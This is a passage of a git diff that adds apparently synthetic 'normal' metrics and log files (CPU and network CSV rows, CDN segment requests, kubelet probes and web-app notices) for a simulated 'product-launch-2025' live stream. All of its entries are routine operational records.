cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment46.ts status=200 OK +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment44.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment46.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=200 OK +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment29.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment44.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=200 OK +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:07:15 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment39.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment27.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment29.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment13.ts status=200 OK +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment16.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment16.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment20.ts status=200 OK +Aug 22 10:07:20 cdn-access[9012]: GET /live/product-launch-2025/segment27.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment6.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=200 OK +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=200 OK +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment43.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=200 OK +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment16.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=200 OK +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment39.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=200 OK +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:07:25 cdn-access[9012]: GET /live/product-launch-2025/segment13.ts status=206 Partial Content diff --git a/norm_dataset/scenario_7/norm_7_27.csv b/norm_dataset/scenario_7/norm_7_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..baa41f9b80e05807454ab1aadd9a6c5a8de7c65e --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-27T14:00:00Z,11.68,38.57,25.02,1.09,8.54 +2025-07-27T14:00:05Z,14.87,35.8,27.34,1.29,6.64 +2025-07-27T14:00:10Z,15.46,35.2,25.07,1.46,7.68 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status=200 OK +Jul 27 14:00:30 systemd[1]: Starting daily user session cleanup... +Jul 27 14:00:40 stream-app[2459]: GET /api/v1/user/88 status=200 OK +Jul 27 14:01:00 systemd[1]: Starting daily user session cleanup... +Jul 27 14:01:00 stream-app[2459]: GET /api/v1/user/161 status=200 OK +Jul 27 14:01:20 stream-app[2459]: GET /api/v1/user/199 status=200 OK +Jul 27 14:01:30 systemd[1]: Starting daily user session cleanup... +Jul 27 14:01:40 stream-app[2459]: GET /api/v1/user/114 status=200 OK +Jul 27 14:02:00 systemd[1]: Starting daily user session cleanup... +Jul 27 14:02:00 stream-app[2459]: GET /api/v1/user/63 status=200 OK +Jul 27 14:02:20 stream-app[2459]: GET /api/v1/user/13 status=200 OK +Jul 27 14:02:30 stream-app[2459]: INFO: Live stream 'product-launch-2025' has started. +Jul 27 14:02:30 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:02:30 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:02:30 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:02:30 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:02:30 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:02:30 stream-app[2459]: INFO: Current viewers: 50,000. +Jul 27 14:02:35 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:02:40 cdn-access: GET /live/chunk_32.ts status=206 Partial Content +Jul 27 14:02:40 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:02:45 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:02:50 cdn-access: GET /live/chunk_34.ts status=206 Partial Content +Jul 27 14:02:50 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:02:55 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:00 cdn-access: GET /live/chunk_36.ts status=206 Partial Content +Jul 27 14:03:00 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:05 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:10 cdn-access: GET /live/chunk_38.ts status=206 Partial Content +Jul 27 14:03:10 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:15 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:20 cdn-access: GET /live/chunk_40.ts status=206 Partial Content +Jul 27 14:03:20 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:25 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:30 cdn-access: GET /live/chunk_42.ts status=206 Partial Content +Jul 27 14:03:30 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:35 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:40 cdn-access: GET /live/chunk_44.ts status=206 Partial Content +Jul 27 14:03:40 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:45 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:45 kubelet[1122]: INFO Liveness probe succeeded for pod stream-app +Jul 27 14:03:50 cdn-access: GET /live/chunk_46.ts status=206 Partial Content +Jul 27 14:03:50 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:03:55 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:00 cdn-access: GET /live/chunk_48.ts status=206 Partial Content +Jul 27 14:04:00 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:05 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:10 cdn-access: GET /live/chunk_50.ts status=206 Partial Content +Jul 27 14:04:10 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:15 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:20 cdn-access: GET /live/chunk_52.ts status=206 Partial Content +Jul 27 14:04:20 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:25 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:30 cdn-access: GET /live/chunk_54.ts status=206 Partial Content +Jul 27 14:04:30 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:35 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:40 cdn-access: GET /live/chunk_56.ts status=206 Partial Content +Jul 27 14:04:40 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:45 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:50 cdn-access: GET /live/chunk_58.ts status=206 Partial Content +Jul 27 14:04:50 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:04:55 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:00 cdn-access: GET /live/chunk_60.ts status=206 Partial Content +Jul 27 14:05:00 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:00 kubelet[1122]: INFO Liveness probe succeeded for pod stream-app +Jul 27 14:05:05 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:10 cdn-access: GET /live/chunk_62.ts status=206 Partial Content +Jul 27 14:05:10 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:15 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:20 cdn-access: GET /live/chunk_64.ts status=206 Partial Content +Jul 27 14:05:20 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:25 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:30 cdn-access: GET /live/chunk_66.ts status=206 Partial Content +Jul 27 14:05:30 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:35 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:40 cdn-access: GET /live/chunk_68.ts status=206 Partial Content +Jul 27 14:05:40 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:45 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:50 cdn-access: GET /live/chunk_70.ts status=206 Partial Content +Jul 27 14:05:50 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:05:55 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:00 cdn-access: GET /live/chunk_72.ts status=206 Partial Content +Jul 27 14:06:00 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:05 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:10 cdn-access: GET /live/chunk_74.ts status=206 Partial Content +Jul 27 14:06:10 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:15 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:15 kubelet[1122]: INFO Liveness probe succeeded for pod stream-app +Jul 27 14:06:20 cdn-access: GET /live/chunk_76.ts status=206 Partial Content +Jul 27 14:06:20 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:25 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:30 cdn-access: GET /live/chunk_78.ts status=206 Partial Content +Jul 27 14:06:30 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:35 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:40 cdn-access: GET /live/chunk_80.ts status=206 Partial Content +Jul 27 14:06:40 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:45 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:50 cdn-access: GET /live/chunk_82.ts status=206 Partial Content +Jul 27 14:06:50 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:06:55 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:07:00 cdn-access: GET /live/chunk_84.ts status=206 Partial Content +Jul 27 14:07:00 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:07:05 cdn-access: GET /live/stream.m3u8 status=200 +Jul 27 14:07:10 cdn-access: GET /live/chunk_86.ts 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file mode 100644 index 0000000000000000000000000000000000000000..1855d1b09d3909796212aa8e6b03a329b03cd38d --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_28.log @@ -0,0 +1,280 @@ +Aug 22 10:00:00 systemd[1]: Starting system health checks... +Aug 22 10:00:25 web-app[2051]: GET /api/v1/status status=200 OK +Aug 22 10:00:50 web-app[2051]: GET /api/v1/config/streaming status=200 OK +Aug 22 10:01:15 cdn-auth[3112]: INFO User 'stream_admin' authenticated successfully. +Aug 22 10:01:40 web-app[2051]: POST /api/v1/stream/product-launch-2025/prepare status=201 Created +Aug 22 10:02:05 systemd[1]: Finished daily clean up activities. +Aug 22 10:02:25 web-app[2051]: INFO Stream 'product-launch-2025' is ready. Awaiting start time. +Aug 22 10:02:30 cdn-server[4501]: GET /live/product-launch-2025/segment103.ts status=200 OK +Aug 22 10:02:30 cdn-server[4501]: GET /live/product-launch-2025/segment166.ts status=200 OK +Aug 22 10:02:30 cdn-server[4501]: GET /live/product-launch-2025/segment315.ts status=206 Partial Content +Aug 22 10:02:30 cdn-server[4501]: GET /live/product-launch-2025/segment434.ts status=206 Partial Content +Aug 22 10:02:30 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:02:30 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:02:30 kubelet[1989]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:02:30 web-app[2051]: INFO: Current viewers: 50000. +Aug 22 10:02:30 web-app[2051]: INFO: Live stream 'product-launch-2025' has started. +Aug 22 10:02:35 cdn-server[4501]: GET /live/product-launch-2025/segment121.ts status=206 Partial Content +Aug 22 10:02:35 cdn-server[4501]: GET /live/product-launch-2025/segment128.ts status=206 Partial Content +Aug 22 10:02:35 cdn-server[4501]: GET /live/product-launch-2025/segment412.ts status=206 Partial Content +Aug 22 10:02:35 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:02:35 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:02:40 cdn-server[4501]: GET /live/product-launch-2025/segment129.ts status=200 OK +Aug 22 10:02:40 cdn-server[4501]: GET /live/product-launch-2025/segment131.ts status=200 OK +Aug 22 10:02:40 cdn-server[4501]: GET /live/product-launch-2025/segment199.ts status=206 Partial Content +Aug 22 10:02:40 cdn-server[4501]: GET /live/product-launch-2025/segment331.ts status=206 Partial Content +Aug 22 10:02:45 cdn-server[4501]: GET /live/product-launch-2025/segment211.ts status=200 OK +Aug 22 10:02:45 cdn-server[4501]: GET /live/product-launch-2025/segment261.ts status=206 Partial Content +Aug 22 10:02:45 cdn-server[4501]: GET /live/product-launch-2025/segment304.ts status=200 OK +Aug 22 10:02:45 cdn-server[4501]: GET /live/product-launch-2025/segment306.ts status=200 OK +Aug 22 10:02:50 cdn-server[4501]: GET /live/product-launch-2025/segment352.ts status=206 Partial Content +Aug 22 10:02:50 cdn-server[4501]: GET /live/product-launch-2025/segment389.ts status=206 Partial Content +Aug 22 10:02:50 cdn-server[4501]: GET /live/product-launch-2025/segment467.ts status=200 OK +Aug 22 10:02:55 cdn-server[4501]: GET /live/product-launch-2025/segment406.ts status=206 Partial Content +Aug 22 10:02:55 cdn-server[4501]: GET /live/product-launch-2025/segment429.ts status=200 OK +Aug 22 10:02:55 cdn-server[4501]: GET /live/product-launch-2025/segment444.ts status=200 OK +Aug 22 10:02:55 cdn-server[4501]: GET /live/product-launch-2025/segment474.ts status=206 Partial Content +Aug 22 10:02:55 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:03:00 cdn-server[4501]: GET /live/product-launch-2025/segment335.ts status=206 Partial Content +Aug 22 10:03:00 cdn-server[4501]: GET /live/product-launch-2025/segment363.ts status=206 Partial Content +Aug 22 10:03:00 cdn-server[4501]: GET /live/product-launch-2025/segment419.ts status=200 OK +Aug 22 10:03:00 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:03:05 cdn-server[4501]: GET /live/product-launch-2025/segment149.ts status=200 OK +Aug 22 10:03:05 cdn-server[4501]: GET /live/product-launch-2025/segment180.ts status=200 OK +Aug 22 10:03:05 cdn-server[4501]: GET /live/product-launch-2025/segment284.ts status=200 OK +Aug 22 10:03:05 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:03:05 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:03:05 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:03:10 cdn-server[4501]: GET /live/product-launch-2025/segment175.ts status=200 OK +Aug 22 10:03:10 cdn-server[4501]: GET /live/product-launch-2025/segment282.ts status=200 OK +Aug 22 10:03:10 cdn-server[4501]: GET /live/product-launch-2025/segment333.ts status=206 Partial Content +Aug 22 10:03:10 cdn-server[4501]: GET /live/product-launch-2025/segment405.ts status=200 OK +Aug 22 10:03:10 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:03:10 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:03:15 cdn-server[4501]: GET /live/product-launch-2025/segment104.ts status=200 OK +Aug 22 10:03:15 cdn-server[4501]: GET /live/product-launch-2025/segment407.ts status=200 OK +Aug 22 10:03:15 cdn-server[4501]: GET /live/product-launch-2025/segment455.ts status=200 OK +Aug 22 10:03:15 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:03:15 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:03:15 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:03:20 cdn-server[4501]: GET /live/product-launch-2025/segment285.ts status=206 Partial Content +Aug 22 10:03:20 cdn-server[4501]: GET /live/product-launch-2025/segment324.ts status=206 Partial Content +Aug 22 10:03:20 cdn-server[4501]: GET /live/product-launch-2025/segment354.ts status=206 Partial Content +Aug 22 10:03:20 cdn-server[4501]: GET /live/product-launch-2025/segment459.ts status=200 OK +Aug 22 10:03:25 cdn-server[4501]: GET /live/product-launch-2025/segment399.ts status=206 Partial Content +Aug 22 10:03:25 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:03:25 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:03:25 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:03:30 cdn-server[4501]: GET /live/product-launch-2025/segment165.ts status=200 OK +Aug 22 10:03:30 cdn-server[4501]: GET /live/product-launch-2025/segment355.ts status=200 OK +Aug 22 10:03:30 cdn-server[4501]: GET /live/product-launch-2025/segment363.ts status=206 Partial Content +Aug 22 10:03:30 cdn-server[4501]: GET /live/product-launch-2025/segment498.ts status=200 OK +Aug 22 10:03:35 cdn-server[4501]: GET /live/product-launch-2025/segment237.ts status=200 OK +Aug 22 10:03:35 cdn-server[4501]: GET /live/product-launch-2025/segment469.ts status=206 Partial Content +Aug 22 10:03:35 cdn-server[4501]: GET /live/product-launch-2025/segment491.ts status=200 OK +Aug 22 10:03:35 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:03:40 cdn-server[4501]: GET /live/product-launch-2025/segment193.ts status=200 OK +Aug 22 10:03:40 cdn-server[4501]: GET /live/product-launch-2025/segment282.ts status=206 Partial Content +Aug 22 10:03:40 cdn-server[4501]: GET /live/product-launch-2025/segment343.ts status=206 Partial Content +Aug 22 10:03:40 cdn-server[4501]: GET /live/product-launch-2025/segment498.ts status=200 OK +Aug 22 10:03:40 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:03:40 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:03:45 cdn-server[4501]: GET /live/product-launch-2025/segment210.ts status=200 OK +Aug 22 10:03:45 cdn-server[4501]: GET /live/product-launch-2025/segment251.ts status=200 OK +Aug 22 10:03:45 cdn-server[4501]: GET /live/product-launch-2025/segment272.ts status=206 Partial Content +Aug 22 10:03:45 cdn-server[4501]: GET /live/product-launch-2025/segment284.ts status=200 OK +Aug 22 10:03:45 cdn-server[4501]: GET /live/product-launch-2025/segment373.ts status=206 Partial Content +Aug 22 10:03:45 kubelet[1989]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:50 cdn-server[4501]: GET /live/product-launch-2025/segment183.ts status=200 OK +Aug 22 10:03:50 cdn-server[4501]: GET /live/product-launch-2025/segment309.ts status=200 OK +Aug 22 10:03:50 cdn-server[4501]: GET /live/product-launch-2025/segment425.ts status=200 OK +Aug 22 10:03:50 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:03:55 cdn-server[4501]: GET /live/product-launch-2025/segment286.ts status=200 OK +Aug 22 10:03:55 cdn-server[4501]: GET /live/product-launch-2025/segment374.ts status=206 Partial Content +Aug 22 10:03:55 cdn-server[4501]: GET /live/product-launch-2025/segment479.ts status=206 Partial Content +Aug 22 10:04:00 cdn-server[4501]: GET /live/product-launch-2025/segment197.ts status=206 Partial Content +Aug 22 10:04:00 cdn-server[4501]: GET /live/product-launch-2025/segment357.ts status=206 Partial Content +Aug 22 10:04:00 cdn-server[4501]: GET /live/product-launch-2025/segment376.ts status=206 Partial Content +Aug 22 10:04:00 cdn-server[4501]: GET /live/product-launch-2025/segment381.ts status=206 Partial Content +Aug 22 10:04:00 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:04:05 cdn-server[4501]: GET /live/product-launch-2025/segment231.ts status=206 Partial Content +Aug 22 10:04:05 cdn-server[4501]: GET /live/product-launch-2025/segment383.ts status=206 Partial Content +Aug 22 10:04:05 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:04:05 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:04:10 cdn-server[4501]: GET /live/product-launch-2025/segment120.ts status=206 Partial Content +Aug 22 10:04:10 cdn-server[4501]: GET /live/product-launch-2025/segment157.ts status=206 Partial Content +Aug 22 10:04:10 cdn-server[4501]: GET /live/product-launch-2025/segment308.ts status=200 OK +Aug 22 10:04:10 cdn-server[4501]: GET /live/product-launch-2025/segment382.ts status=206 Partial Content +Aug 22 10:04:10 cdn-server[4501]: GET /live/product-launch-2025/segment491.ts status=206 Partial Content +Aug 22 10:04:15 cdn-server[4501]: GET /live/product-launch-2025/segment272.ts status=206 Partial Content +Aug 22 10:04:15 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:04:15 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:04:20 cdn-server[4501]: GET /live/product-launch-2025/segment109.ts status=206 Partial Content +Aug 22 10:04:20 cdn-server[4501]: GET /live/product-launch-2025/segment246.ts status=206 Partial Content +Aug 22 10:04:20 cdn-server[4501]: GET /live/product-launch-2025/segment399.ts status=200 OK +Aug 22 10:04:25 cdn-server[4501]: GET /live/product-launch-2025/segment264.ts status=200 OK +Aug 22 10:04:25 cdn-server[4501]: GET /live/product-launch-2025/segment377.ts status=200 OK +Aug 22 10:04:25 cdn-server[4501]: GET /live/product-launch-2025/segment397.ts status=200 OK +Aug 22 10:04:30 cdn-server[4501]: GET /live/product-launch-2025/segment236.ts status=200 OK +Aug 22 10:04:30 cdn-server[4501]: GET /live/product-launch-2025/segment291.ts status=200 OK +Aug 22 10:04:30 cdn-server[4501]: GET /live/product-launch-2025/segment348.ts status=206 Partial Content +Aug 22 10:04:30 cdn-server[4501]: GET /live/product-launch-2025/segment498.ts status=206 Partial Content +Aug 22 10:04:30 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:04:35 cdn-server[4501]: GET /live/product-launch-2025/segment109.ts status=200 OK +Aug 22 10:04:35 cdn-server[4501]: GET /live/product-launch-2025/segment495.ts status=200 OK +Aug 22 10:04:35 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:04:40 cdn-server[4501]: GET /live/product-launch-2025/segment185.ts status=200 OK +Aug 22 10:04:40 cdn-server[4501]: GET /live/product-launch-2025/segment488.ts status=200 OK +Aug 22 10:04:40 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:04:40 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:04:45 cdn-server[4501]: GET /live/product-launch-2025/segment121.ts status=200 OK +Aug 22 10:04:45 cdn-server[4501]: GET /live/product-launch-2025/segment271.ts status=206 Partial Content +Aug 22 10:04:45 cdn-server[4501]: GET /live/product-launch-2025/segment382.ts status=206 Partial Content +Aug 22 10:04:45 cdn-server[4501]: GET /live/product-launch-2025/segment456.ts status=206 Partial Content +Aug 22 10:04:45 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:04:50 cdn-server[4501]: GET /live/product-launch-2025/segment143.ts status=206 Partial Content +Aug 22 10:04:50 cdn-server[4501]: GET /live/product-launch-2025/segment414.ts status=200 OK +Aug 22 10:04:50 cdn-server[4501]: GET /live/product-launch-2025/segment426.ts status=200 OK +Aug 22 10:04:50 cdn-server[4501]: GET /live/product-launch-2025/segment458.ts status=206 Partial Content +Aug 22 10:04:50 cdn-server[4501]: GET /live/product-launch-2025/segment473.ts status=206 Partial Content +Aug 22 10:04:55 cdn-server[4501]: GET /live/product-launch-2025/segment279.ts status=200 OK +Aug 22 10:04:55 cdn-server[4501]: GET /live/product-launch-2025/segment402.ts status=206 Partial Content +Aug 22 10:04:55 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:04:55 cdn-server[4501]: GET 